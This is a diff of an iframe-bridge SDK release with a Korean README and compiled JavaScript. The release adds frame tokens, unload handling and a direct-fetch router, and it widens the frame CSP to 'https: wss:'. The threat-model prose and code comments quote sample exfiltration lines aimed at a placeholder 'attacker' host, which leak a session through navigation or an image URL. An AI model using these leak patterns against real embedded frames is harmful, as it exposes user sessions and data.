@bstage-sdk/bridge 0.9.1 → 0.11.0

package/README.md

@@ -79,6 +79,62 @@ host.dispose()
 모두 맞는 메시지만 처리한다. 토큰은 프레임으로 가지 않는다 — 인증은 `fetchImpl`이 호스트 쪽에서 붙이고,
 프레임에는 상태·statusText·content-type·본문 문자열만 돌아간다.
 
+### 세션 수명과 프레임 자기 내비게이션
+
+템플릿은 자기 프레임을 다른 URL로 옮길 수 있다(`location = 'https://attacker/#' + session`). sandbox 플래그는
+내비게이션 뒤에도 남으므로 새 문서도 origin `"null"`이고 `contentWindow`도 같다 — `ev.source`·origin 검사만으로는
+옛 문서와 새 문서를 가를 수 없고, 세션은 srcdoc 본문에 있어 템플릿이 읽어 URL로 넘길 수 있다. 호스트가 iframe의
+두 번째 `load`에서 `dispose()`해도 새 문서의 스크립트는 `load`보다 먼저 돈다. SDK는 이 틈을 다음으로 닫는다
+(호스트 코드 변경 없음).
+
+- **세션당 문서 하나(프레임 토큰)**: 프레임 런타임이 부트스트랩 때 문서마다 128비트 토큰을 만들어 모든 봉투 최상위
+  `frame`에 싣는다. 호스트는 세션이 맞는 첫 메시지의 토큰에 세션을 묶고, 이후 **토큰이 없거나 다른** 메시지가 오면
+  그 메시지를 처리하지 않고 즉시 `dispose()`한다. 같은 토큰의 `ready` 재전송에는 계속 답하지만, 다른 문서의 두 번째
+  핸드셰이크는 성립하지 않는다. 세션을 URL로 받은 새 문서는 토큰을 모르므로 첫 메시지에서 세션이 끊긴다.
+- **토큰은 CSPRNG로만 만든다**: `crypto.getRandomValues`가 없으면 `Math.random`으로 대신하지 않고 브리지를 열지 않는다(`frame-unload` 외에는 아무것도 보내지 않는다).
+- **핸드셰이크 전에는 이벤트를 보내지 않는다**: `host.send`는 토큰이 묶이기 전에는 프레임에 보내지 않고 init에만 반영한다. init에 접히지 않는 `visibility`는 마지막 값을 묶인 직후(init 뒤) 한 번 보낸다. 공개되는 봉투 id 접두사와 따로 뽑는다.
+- **토큰은 템플릿 코드에 노출하지 않는다**: 런타임 클로저에만 있고, 봉투는 객체 리터럴로 만들며(Object.prototype
+  setter를 부르지 않는다) 부트스트랩 때 `bind`해 둔 `parent.postMessage`로만 보낸다. 호스트 → 프레임 메시지
+  (init·응답·이벤트)에는 실리지 않는다. 그래서 템플릿이 `Object.assign`·`Function.prototype.*`·`Object.prototype`
+  setter를 가로채도 보이는 것은 세션뿐이다(테스트로 고정). 세션은 템플릿이 읽을 수 있다 — 같은 문서이고 srcdoc 본문에
+  있기 때문이다. 세션은 "이 iframe의 메시지"라는 표식일 뿐 비밀로 취급하지 않는다.
+- **`frame-unload`**: 부트스트랩이 `pagehide`(capture, 템플릿보다 먼저 등록)에서 `evt:frame-unload`를 동기로 보낸다.
+  **전송을 가장 먼저** 하고, 전송 경로는 객체 리터럴과 부트스트랩 때 잡아 둔 참조(`bind`한 `postMessage`,
+  `PageTransitionEvent.prototype.persisted` 원본 접근자를 `Function.prototype.call.bind`로 묶은 것)만 쓴다.
+  `clearInterval`·`clearTimeout`도 부트스트랩 때 잡고, 타이머·대기 요청 정리는 전송 뒤 각각 try로 감싼다. 그래서
+  템플릿이 **리스너가 살아 있는 동안** 전역·프로토타입(`clearInterval`·`clearTimeout`·`Map.prototype.forEach`·`Error`·
+  `Function.prototype.call`·`persisted` 접근자)을 바꾸거나 던지게 해도 전송은 막히지 않는다(테스트로 고정).
+  `persisted` 읽기가 실패하면 bfcache 진입이 아닌 것으로 보고 보낸다(실패는 끊는 쪽으로).
+  보장하지 **않는** 것: 템플릿이 `document.open()`으로 창의 이벤트 리스너를 모두 지운 뒤 내비게이션하면 `pagehide`
+  처리기 자체가 돌지 않는다 — 이때는 프레임 토큰과 호스트의 두 번째 `load` dispose에 기댄다.
+  호스트는 받는 즉시 `dispose()`한다 — 이후 메시지는 무시되고, dispose 뒤 끝난 요청의 응답도 프레임에 보내지 않는다.
+  프레임 쪽 대기 요청은 `UNSUPPORTED`로 바로 거절된다. bfcache 진입(`persisted: true`)에는 보내지 않는다(복원되면 같은 문서가 계속 쓴다).
+- **`onDispose(reason)`**(선택): 호스트가 dispose될 때 한 번 불린다. `'frame-unload'`·`'frame-mismatch'`는 호스트가
+  스스로 끊은 경우, `'manual'`은 `dispose()` 호출이다. 임베더는 이 콜백에서 iframe을 바로 걷어 낼 수 있다(콜백 예외는 삼킨다).
+  `beforeunload`·`unload`는 쓰지 않는다 — `beforeunload`는 호스트 페이지 자체의 이동에도 프레임에 오므로 이동이
+  취소되거나 bfcache에서 복원되면 멀쩡한 템플릿이 끊기고, 하위 프레임의 `unload` 리스너는 호스트 페이지의 bfcache를
+  막고 폐기 중인 API다.
+
+**남는 위험(정직하게)**
+
+- 막는 것은 "새 문서가 유효한 교환을 하는 것"이다. 새 문서가 **메시지를 보내지 않고 기다리면**, 호스트가 알아채기
+  전까지(`frame-unload` 처리 또는 두 번째 `load`) `host.send`로 보내는 이벤트(`locale`·`theme`·`member`의
+  `signedIn`·`nickname`·`slot.context`·`visibility`)를 받을 수 있다. Chromium은 다른 프로세스로 가는 하위 프레임
+  내비게이션에서 옛 문서의 `pagehide`를 새 문서 커밋과 병렬로 돌리므로 이 틈은 0이 아니다. 이벤트·init에 민감 정보를
+  싣지 않는다는 원칙이 여기서도 경계다.
+- 토큰 비공개는 JS 수준 보장이다. 엔진 버그나 이 SDK가 놓친 관찰 경로로 원래 문서의 템플릿이 토큰을 얻어 URL로 넘기면,
+  새 문서는 `frame-unload`가 처리되기 전까지 유효한 요청을 보낼 수 있다. 이 경우의 마지막 방어선은 `frame-unload`와
+  호스트의 두 번째 `load` dispose다.
+- **진행 중인 요청의 응답**: 원래 문서가 보낸 요청의 응답이 내비게이션 뒤·dispose 전에 끝나면, 호스트는 그 응답을
+  `iframe.contentWindow`(= 새 문서)로 보낸다. 새 문서는 응답 봉투를 읽을 수 있다. dispose 뒤에 끝난 응답은 버리지만
+  호스트 쪽 fetch 자체를 중단하지는 않는다(dispose 시 진행 중 fetch abort는 후속 과제).
+- 세션을 아는 쪽(= 그 프레임의 템플릿)은 잘못된 토큰을 보내 자기 세션을 끊을 수 있다. 자기 자신에 대한 서비스 거부일 뿐이다.
+- 호스트는 srcdoc마다 새 세션(`createSession()`)을 만들고 세션 하나에 `createBridgeHost`를 하나만 둔다. 같은 세션으로
+  호스트를 다시 만들면 묶임이 새로 시작된다.
+- **같은 srcdoc의 재로드·재삽입에는 새 호스트가 필요하다**: iframe을 DOM에서 옮기거나 다시 넣거나 `srcdoc`를 다시 설정하면
+  새 문서(새 프레임 토큰)가 뜨므로, 옛 호스트는 `frame-unload`나 `frame-mismatch`로 끊기고 그 문서는 브리지를 쓰지 못한다.
+  이때는 새 세션으로 `createSrcdoc`·`createBridgeHost`를 다시 만든다(`onDispose`로 감지할 수 있다).
+
 ### fetch 정책
 
 `new URL(url, hostOrigin)`으로 정규화한 뒤 목적지를 네 갈래로 나눈다.
@@ -159,10 +215,11 @@ external에 인증을 붙이는 fetch를 주입하지 않는다. 외부 갈래
 
 오류 코드: `FORBIDDEN_DESTINATION`·`FORBIDDEN_METHOD`·`BODY_TOO_LARGE`·`RATE_LIMITED`·`BAD_REQUEST`·`TIMEOUT`·`NETWORK_ERROR`·`UNSUPPORTED`.
 프레임 요청은 15초 안에 응답이 없으면 `TIMEOUT`. 핸드셰이크(`ready`)는 init을 받을 때까지 재전송한다(처음 10초는 250ms, 이후 2초 간격).
+프레임 → 호스트 봉투에는 최상위 `frame`(프레임 토큰)이 붙고, 문서가 내려갈 때 `evt:frame-unload`(`FRAME_UNLOAD_EVENT`)가 간다(위 "세션 수명").
 
 ## 프레임 문서
 
-`createSrcdoc`가 만드는 문서는 CSP로 프레임의 직접 네트워크를 좁힌다. 스크립트는 nonce가 붙은
+`createSrcdoc`가 만드는 문서는 CSP로 프레임이 불러올 수 있는 것을 좁힌다. 스크립트는 nonce가 붙은
 부트스트랩과 `assetOrigin`의 번들만 실행된다. 부트스트랩은 브리지 클라이언트를 설치하고 init을 받은 뒤
 엔트리를 로드해 custom element를 붙이고, 문서 높이를 `resize`로 보고한다.
 
@@ -173,11 +230,12 @@ style-src 'unsafe-inline' {assetOrigin}
 img-src {assetOrigin} {mediaOrigins…} data: blob:
 font-src {assetOrigin} data:
 media-src {assetOrigin} {mediaOrigins…} blob:
-connect-src 'none'; frame-src 'none'; form-action 'none'; base-uri 'none'
+connect-src https: wss:; frame-src 'none'; form-action 'none'; base-uri 'none'
 ```
 
-- `fetch`·XHR·WebSocket·EventSource는 `connect-src 'none'`으로 막힌다. API 호출은 브리지(`request`)로만 간다 —
-  `allowExternal: true`면 브리지가 무인증 외부 https 호출을 중개하므로, 프레임이 가진 데이터는 이 경로로도 밖에 나갈 수 있다.
+- `connect-src`는 항상 `https: wss:`다(아래 "프레임 네트워크"). 평문 `http:`·`ws:`는 열지 않는다. 토큰이 필요한 API는
+  부트스트랩의 `__bstage_fetch__`가 브리지로 보내고, 그 밖의 https API는 템플릿이 프레임 안에서 직접 부른다.
+  브리지 fetch(`__bstage_bridge__.fetch`)의 external 갈래(`allowExternal: true`)도 호환을 위해 그대로 남는다.
 - img-src·media-src에 맨 `https:`는 두지 않는다 — 두면 `<img src="https://임의-origin/?d=…">`가 자유로운 GET
   유출 통로가 된다. 외부 이미지·미디어가 필요하면 `mediaOrigins`에 **정확한 https origin**만 넘긴다
   (경로·쿼리·userinfo·와일드카드·대문자 호스트 불가, 최대 20개, 하나라도 틀리면 `TypeError`). font-src는 넓히지 않는다.
@@ -186,6 +244,54 @@ connect-src 'none'; frame-src 'none'; form-action 'none'; base-uri 'none'
   절대 들어가지 않는다**는 것이다 — 인증은 호스트의 `fetchImpl`이 붙이고, 토큰을 응답으로 돌려주는 인증 경로는
   게이트웨이 거절 목록(`gatewayDenyPrefixes`·`gatewayDenySegments`)으로 막는다. 프레임에 넘기는 init·이벤트·응답에 민감 정보를 싣지 않는다.
 
+### 프레임 네트워크 (항상 적용)
+
+결정(2026-10-22): 격리 프레임에서 **토큰이 필요한 정해진 API만 브리지**로 보내고(호스트가 팬 토큰을 붙인다),
+**그 밖의 API는 템플릿이 프레임 안에서 직접** 부른다. 호스트 옵션은 없다 — `createSrcdoc`로 만든 모든 프레임(포털 미리보기 포함)이
+이 규칙으로 돈다.
+
+동작:
+
+- CSP `connect-src https: wss:`. `http:`·`ws:`는 열지 않는다. `img-src`·`media-src`·`font-src`는 위처럼 좁게 두고
+  `frame-src 'none'`·`form-action 'none'`·`base-uri 'none'`도 그대로다.
+- 부트스트랩이 템플릿 코드보다 먼저 `globalThis.__bstage_fetch__`(쓰기 불가)를 설치한다. inline 모드용으로 쓰인 템플릿이
+  부르는 그 이름이다. `new URL(input, hostOrigin)`으로 정규화한 뒤 갈래를 나눈다.
+
+| 목적지                                                                        | 갈래                                                                                                  |
+| ----------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------- |
+| hostOrigin + 경로가 init `gatewayPrefixes` 안(web-base는 `['/gw/', '/svc/']`) | 브리지 fetch(기존 프로토콜, 호스트가 다시 판정하고 토큰을 붙인다)                                     |
+| origin이 init `partnerOrigins`와 정확히 일치                                  | 브리지 fetch(`partnerFetchImpl`)                                                                      |
+| 그 밖의 https                                                                 | 프레임의 원래 `fetch`(부트스트랩 때 잡은 참조), `credentials: 'omit'`·`referrerPolicy: 'no-referrer'` |
+| hostOrigin의 게이트웨이 밖 경로, https가 아닌 스킴(http·data·blob 등)         | `TypeError`(혼동을 막으려고 직접 보내지 않는다)                                                       |
+
+- init에 `gatewayPrefixes`(호스트 `policy.gatewayPrefixes`)가 실린다. 판정의 정본은 여전히 호스트 정책이고, 프레임 라우터는
+  보낼 길만 고른다. 필드가 없는 옛 호스트면 hostOrigin 요청은 경로와 무관하게 브리지로 보낸다.
+- 라우터는 판정·전송에 쓰는 전역(`fetch`·`URL`과 그 접근자·`String.prototype.slice`·`Promise.prototype.then`·`Object.assign`)과
+  init의 라우팅 목록 사본을 부트스트랩 때 잡아 둔다. 템플릿이 나중에 전역·프로토타입·`getInit()` 객체를 바꿔도 갈래는 바뀌지 않는다(테스트로 고정).
+  갈래가 바뀌더라도 토큰은 새지 않는다 — 브리지로 간 요청은 호스트가 따로 판정하고, 직접 간 요청에는 토큰이 없다.
+- 직접 호출에 인증 헤더를 **붙이지 않는다.** 템플릿이 스스로 넣은 헤더는 그대로 간다.
+- `__bstage_bridge__.fetch`(브리지 fetch)와 호스트의 external 갈래(`allowExternal`)는 그대로 동작한다(호환).
+- core `BstageClient`는 프레임 안에서 계속 브리지 fetch를 쓴다 — 기본 목적지가 게이트웨이(`gatewayBase`)라 토큰이 필요한 쪽이다.
+  `baseUrl`을 외부로 바꾼 `BstageClient`는 브리지의 external 갈래로 중계되므로 호스트가 `allowExternal: true`여야 한다.
+  외부를 직접 부르려면 `__bstage_fetch__`나 `fetch`를 쓴다(`config.fetch: globalThis.__bstage_fetch__`도 된다).
+
+**보안상 맞바꾼 것(정직하게)** — 아래는 이 결정으로 열린 것이다. 끄는 스위치는 없으므로 프레임을 띄우는 모든 호스트가 아래 조건을 갖춘다.
+
+- **직접 호출에는 브리지 정책이 적용되지 않는다.** 사설 IP·IP 리터럴·`localhost`·내부 이름 거절, 분당·동시 요청 상한,
+  요청·응답 본문 상한이 없다. 프레임이 가진 데이터는 임의 https로 나갈 수 있고(이전에도 `allowExternal`·자기 내비게이션으로
+  가능했다), 사설망 접근은 브라우저의 Local Network Access에 맡긴다.
+- **요청은 `Origin: null`로 나간다**(sandbox opaque origin). 직접 부를 API는 CORS에서 `*` 또는 `null`을 허용해야 응답을 읽을 수 있다.
+  `null`을 credentials와 함께 허용하는 CORS는 다른 sandbox 문서에도 열리는 것이므로 API 쪽에서 피한다.
+- **토큰은 여전히 프레임에 들어가지 않는다.** 팬 토큰·쿠키는 호스트 `fetchImpl`·`partnerFetchImpl`이 브리지 요청에만 붙인다.
+- **같은 origin 게이트웨이·`/svc`는 브리지로만** 간다 — 단 이것은 `__bstage_fetch__` 라우터의 보장이다. 전역 `fetch`·`XMLHttpRequest`·
+  `navigator.sendBeacon`·`EventSource`·`WebSocket`은 그대로 남고 CSP `https:`는 hostOrigin도 포함하므로, 템플릿은 hostOrigin에
+  직접(`credentials: 'include'`, `mode: 'no-cors'`, `sendBeacon`은 항상 자격증명 포함) 요청을 보낼 수 있다. 이 요청은 브리지의
+  거절 규칙(`gatewayDenyPrefixes`·`gatewayDenySegments`)·상한을 거치지 않는다. opaque origin에서 나가 cross-site로 취급되므로
+  **`SameSite=None` 쿠키만** 실리고, 응답은 호스트 CORS가 `null`을 허용하지 않으면 읽히지 않는다(부작용은 일어날 수 있다).
+  그래서 프레임을 띄우는 호스트는 ① 호스트 origin 쿠키를 `SameSite=Lax`/`Strict`로 두고(`None` 쿠키는 이 직접 요청에 실린다 — 권장 후속 조치)
+  ② CORS에 `null` origin을 허용하지 않으며 ③ 쿠키로 인증하는 상태 변경 엔드포인트에 CSRF 방어를 유지한다.
+- 토큰을 응답 본문으로 돌려주는 경로(토큰 갱신 등)는 브리지의 게이트웨이 거절 규칙으로 계속 막힌다 — 직접 호출로는 토큰이 없으니 닿아도 얻을 것이 없다.
+
 프레임 안 제약: 쿠키·`localStorage`·호스트 DOM에 접근할 수 없다(opaque origin). 번역 사전은 CDN이 아니라
 호스트가 init·`locale` 이벤트의 `translations`로 넘긴다. 브리지 모드의 `fetchTranslations`는 **현재 locale 사전만**
 돌려주고, 다른 locale(폴백 체인의 `en`·`ko` 등)은 빈 사전 `{}`이다. 같은 locale에 사전만 새로 와도 `useBstageTranslations`가 다시 읽는다.

package/dist/{chunk-KQMJY4ZH.js → chunk-CSAW3L7P.js}

@@ -90,6 +90,126 @@ function createBridgeFetch(client) {
   return bridgeFetch;
 }
 
+// src/frame/directFetch.ts
+function installDirectFetch(g, client, config) {
+  const hostOrigin = config.hostOrigin;
+  const callFn = Function.prototype.call;
+  const NativeURL = g.URL;
+  const rawFetch = g.fetch;
+  const nativeFetch = typeof rawFetch === "function" ? callFn.bind(rawFetch) : void 0;
+  const bridgeFetch = client.fetch;
+  const strSlice = callFn.bind(String.prototype.slice);
+  const promiseThen = callFn.bind(Promise.prototype.then);
+  const promiseReject = Promise.reject.bind(Promise);
+  const assign = Object.assign;
+  const TypeErr = TypeError;
+  function getter(ctor, name) {
+    if (typeof ctor !== "function") return void 0;
+    let proto = ctor.prototype;
+    while (proto) {
+      const desc = Object.getOwnPropertyDescriptor(proto, name);
+      if (desc && typeof desc.get === "function") {
+        return callFn.bind(desc.get);
+      }
+      proto = Object.getPrototypeOf(proto);
+    }
+    return void 0;
+  }
+  const getHref = getter(NativeURL, "href");
+  const getOrigin = getter(NativeURL, "origin");
+  const getProtocol = getter(NativeURL, "protocol");
+  const getPathname = getter(NativeURL, "pathname");
+  const getRequestUrl = getter(g.Request, "url");
+  let gatewayPrefixes = null;
+  let partnerOrigins = [];
+  let routesReady = false;
+  function copyStrings(value) {
+    if (!Array.isArray(value)) return null;
+    const out = [];
+    for (let i = 0; i < value.length; i += 1) {
+      if (typeof value[i] === "string") out[out.length] = value[i];
+    }
+    return out;
+  }
+  function takeSnapshot(init) {
+    if (routesReady) return;
+    const raw = init;
+    gatewayPrefixes = copyStrings(raw.gatewayPrefixes);
+    partnerOrigins = copyStrings(raw.partnerOrigins) || [];
+    routesReady = true;
+  }
+  promiseThen(client.ready, takeSnapshot);
+  function matchesPrefix(pathname, prefix) {
+    const bare = strSlice(prefix, prefix.length - 1) === "/" ? strSlice(prefix, 0, -1) : prefix;
+    return pathname === bare || strSlice(pathname, 0, bare.length + 1) === bare + "/";
+  }
+  function routeOf(origin, protocol, pathname) {
+    if (origin === hostOrigin) {
+      if (gatewayPrefixes === null) return "bridge";
+      for (let i = 0; i < gatewayPrefixes.length; i += 1) {
+        if (matchesPrefix(pathname, gatewayPrefixes[i])) return "bridge";
+      }
+      return "reject";
+    }
+    for (let i = 0; i < partnerOrigins.length; i += 1) {
+      if (origin === partnerOrigins[i]) return "bridge";
+    }
+    return protocol === "https:" ? "direct" : "reject";
+  }
+  function requestUrlOf(input) {
+    if (!getRequestUrl || typeof input !== "object" || input === null) return void 0;
+    try {
+      return getRequestUrl(input);
+    } catch {
+      return void 0;
+    }
+  }
+  function dispatch(input, init) {
+    if (typeof NativeURL !== "function" || !getHref || !getOrigin || !getProtocol || !getPathname) {
+      return promiseReject(new TypeErr("bstage fetch: URL is unavailable"));
+    }
+    const requestUrl = requestUrlOf(input);
+    const request = requestUrl !== void 0;
+    let parsed;
+    try {
+      parsed = new NativeURL(request ? requestUrl : String(input), hostOrigin);
+    } catch {
+      return promiseReject(new TypeErr("bstage fetch: invalid url"));
+    }
+    const href = getHref(parsed);
+    const route = routeOf(getOrigin(parsed), getProtocol(parsed), getPathname(parsed));
+    const target = request ? input : href;
+    if (route === "bridge") return bridgeFetch(target, init);
+    if (route === "reject") {
+      return promiseReject(new TypeErr("bstage fetch: destination not allowed"));
+    }
+    if (!nativeFetch) return promiseReject(new TypeErr("bstage fetch: fetch is unavailable"));
+    return nativeFetch(
+      g,
+      target,
+      assign({}, init, { credentials: "omit", referrerPolicy: "no-referrer" })
+    );
+  }
+  function bstageFetch(input, init) {
+    try {
+      if (routesReady) return dispatch(input, init);
+      return promiseThen(client.ready, function(value) {
+        takeSnapshot(value);
+        return dispatch(input, init);
+      });
+    } catch {
+      return promiseReject(new TypeErr("bstage fetch: request failed"));
+    }
+  }
+  Object.defineProperty(g, "__bstage_fetch__", {
+    value: bstageFetch,
+    writable: false,
+    configurable: false,
+    enumerable: false
+  });
+  return bstageFetch;
+}
+
 // src/frame/runtime.ts
 function bridgeRuntime(g, makeFetch, config) {
   const NS = "bstage-bridge";
@@ -103,6 +223,20 @@ function bridgeRuntime(g, makeFetch, config) {
   const session = config.session;
   const hostOrigin = config.hostOrigin;
   const parent = g.parent;
+  const sendToHost = parent ? parent.postMessage.bind(parent) : void 0;
+  const stopInterval = clearInterval;
+  const stopTimeout = clearTimeout;
+  let readPersisted;
+  const ownDescriptor = Object.getOwnPropertyDescriptor;
+  const hasOwn = Function.prototype.call.bind(Object.prototype.hasOwnProperty);
+  try {
+    const pte = g.PageTransitionEvent;
+    const desc = pte ? Object.getOwnPropertyDescriptor(pte.prototype, "persisted") : void 0;
+    if (desc && typeof desc.get === "function")
+      readPersisted = Function.prototype.call.bind(desc.get);
+  } catch {
+    readPersisted = void 0;
+  }
   const pending = /* @__PURE__ */ new Map();
   const listeners = /* @__PURE__ */ new Map();
   let init;
@@ -119,6 +253,17 @@ function bridgeRuntime(g, makeFetch, config) {
     return out;
   }
   const idPrefix = randomPrefix();
+  function secureToken() {
+    if (!g.crypto || typeof g.crypto.getRandomValues !== "function") return "";
+    const bytes = new Uint8Array(16);
+    g.crypto.getRandomValues(bytes);
+    let out = "";
+    for (let i = 0; i < bytes.length; i += 1) out += (bytes[i] + 256).toString(16).slice(1);
+    return out;
+  }
+  const frameToken = secureToken();
+  let closed = frameToken === "";
+  let unloaded = false;
   function nextId() {
     seq += 1;
     return idPrefix + "-" + seq;
@@ -130,9 +275,12 @@ function bridgeRuntime(g, makeFetch, config) {
     return err;
   }
   function post(kind, type, id, payload) {
-    if (!parent) return;
+    if (!sendToHost || closed) return;
     const body = Object.assign({}, payload, { session });
-    parent.postMessage({ v: 1, ns: NS, id, kind, type, payload: body }, hostOrigin);
+    sendToHost(
+      { v: 1, ns: NS, id, kind, type, payload: body, frame: frameToken },
+      hostOrigin
+    );
   }
   function isEnvelope(m) {
     if (typeof m !== "object" || m === null) return false;
@@ -205,6 +353,54 @@ function bridgeRuntime(g, makeFetch, config) {
     }
   }
   g.addEventListener("message", onMessage);
+  function isPersisted(ev) {
+    try {
+      if (readPersisted) return readPersisted(ev) === true;
+      if (typeof ev !== "object" || ev === null) return false;
+      const desc = ownDescriptor(ev, "persisted");
+      return !!desc && hasOwn(desc, "value") && desc.value === true;
+    } catch {
+      return false;
+    }
+  }
+  function onPageHide(ev) {
+    if (unloaded || isPersisted(ev)) return;
+    unloaded = true;
+    closed = true;
+    if (sendToHost) {
+      try {
+        sendToHost(
+          {
+            v: 1,
+            ns: NS,
+            id: idPrefix + "-unload",
+            kind: "evt",
+            type: "frame-unload",
+            payload: { session },
+            frame: frameToken
+          },
+          hostOrigin
+        );
+      } catch {
+      }
+    }
+    try {
+      stopInterval(readyTimer);
+    } catch {
+    }
+    try {
+      pending.forEach(function(entry) {
+        try {
+          stopTimeout(entry.timer);
+          entry.reject(codeError("UNSUPPORTED", "bridge closed"));
+        } catch {
+        }
+      });
+      pending.clear();
+    } catch {
+    }
+  }
+  g.addEventListener("pagehide", onPageHide, true);
   let readyAttempts = 0;
   function sendReady() {
     readyAttempts += 1;
@@ -218,6 +414,10 @@ function bridgeRuntime(g, makeFetch, config) {
   sendReady();
   function request(type, payload) {
     return new Promise(function(resolve, reject) {
+      if (closed) {
+        reject(codeError("UNSUPPORTED", "bridge closed"));
+        return;
+      }
       const id = nextId();
       const timer = setTimeout(function() {
         pending.delete(id);
@@ -262,5 +462,6 @@ function bridgeRuntime(g, makeFetch, config) {
 
 export {
   bridgeRuntime,
-  createBridgeFetch
+  createBridgeFetch,
+  installDirectFetch
 };

package/dist/{chunk-6LV7HEN4.js → chunk-ND2HFYBP.js}

@@ -1,7 +1,8 @@
 import {
   bridgeRuntime,
-  createBridgeFetch
-} from "./chunk-KQMJY4ZH.js";
+  createBridgeFetch,
+  installDirectFetch
+} from "./chunk-CSAW3L7P.js";
 
 // src/protocol/envelope.ts
 var BRIDGE_VERSION = 1;
@@ -65,6 +66,7 @@ var REQUEST_TYPES = [
 var HOST_EVENT_TYPES = ["slot.context", "locale", "member", "theme", "visibility"];
 var READY_EVENT = "ready";
 var INIT_RESPONSE = "init";
+var FRAME_UNLOAD_EVENT = "frame-unload";
 var BRIDGE_SURFACES = ["page", "slot"];
 function isBridgeSurface(value) {
   return BRIDGE_SURFACES.includes(value);
@@ -448,7 +450,7 @@ function buildFrameCsp(nonce, assetOrigin, mediaOrigins = []) {
     `img-src ${media} data: blob:`,
     `font-src ${assetOrigin} data:`,
     `media-src ${media} blob:`,
-    "connect-src 'none'",
+    "connect-src https: wss:",
     "frame-src 'none'",
     "form-action 'none'",
     "base-uri 'none'"
@@ -465,6 +467,9 @@ function bootstrapScript(o) {
     `var bridgeRuntime = ${bridgeRuntime.toString()};`,
     `var createBridgeFetch = ${createBridgeFetch.toString()};`,
     "var client = bridgeRuntime(globalThis, createBridgeFetch, { session: SESSION, hostOrigin: HOST_ORIGIN });",
+    // 라우터는 항상 심는다. ready.then이 엔트리 로드(아래 client.ready.then)보다 먼저 등록돼야 템플릿보다 먼저 스냅샷을 잡는다.
+    `var installDirectFetch = ${installDirectFetch.toString()};`,
+    "installDirectFetch(globalThis, client, { hostOrigin: HOST_ORIGIN });",
     "var lastHeight = -1;",
     "var scheduled = false;",
     "function reportHeight() {",
@@ -551,6 +556,7 @@ export {
   HOST_EVENT_TYPES,
   READY_EVENT,
   INIT_RESPONSE,
+  FRAME_UNLOAD_EVENT,
   BRIDGE_SURFACES,
   isBridgeSurface,
   IFRAME_ATTRIBUTES,

package/dist/{createSrcdoc-bOoxttPz.d.cts → createSrcdoc-DgQyvIjG.d.cts}

@@ -33,6 +33,9 @@ declare const MAX_ELEMENT_NAME_LENGTH = 100;
 /**
  * 브리지 프로토콜 CSP. 값은 이스케이프 전 원문(호출자가 속성에 넣을 때 이스케이프).
  *
+ * connect-src는 항상 `https: wss:`다(프레임 네트워크 규칙, README "프레임 네트워크") — 토큰이 필요한 API는
+ * 부트스트랩의 `__bstage_fetch__`가 브리지로 보내고, 그 밖의 https API는 템플릿이 직접 부른다. 평문(`http:`·`ws:`)은 열지 않는다.
+ *
  * img-src·media-src에 맨 `https:`를 두지 않는다 — 두면 템플릿이 `<img src="https://attacker/?d=...">`로
  * 임의 origin에 GET을 보낼 수 있다. 외부 이미지·미디어는 `mediaOrigins`로 정확한 origin만 연다.
  *

package/dist/{createSrcdoc-bOoxttPz.d.ts → createSrcdoc-DgQyvIjG.d.ts}

@@ -33,6 +33,9 @@ declare const MAX_ELEMENT_NAME_LENGTH = 100;
 /**
  * 브리지 프로토콜 CSP. 값은 이스케이프 전 원문(호출자가 속성에 넣을 때 이스케이프).
  *
+ * connect-src는 항상 `https: wss:`다(프레임 네트워크 규칙, README "프레임 네트워크") — 토큰이 필요한 API는
+ * 부트스트랩의 `__bstage_fetch__`가 브리지로 보내고, 그 밖의 https API는 템플릿이 직접 부른다. 평문(`http:`·`ws:`)은 열지 않는다.
+ *
  * img-src·media-src에 맨 `https:`를 두지 않는다 — 두면 템플릿이 `<img src="https://attacker/?d=...">`로
  * 임의 origin에 GET을 보낼 수 있다. 외부 이미지·미디어는 `mediaOrigins`로 정확한 origin만 연다.
  *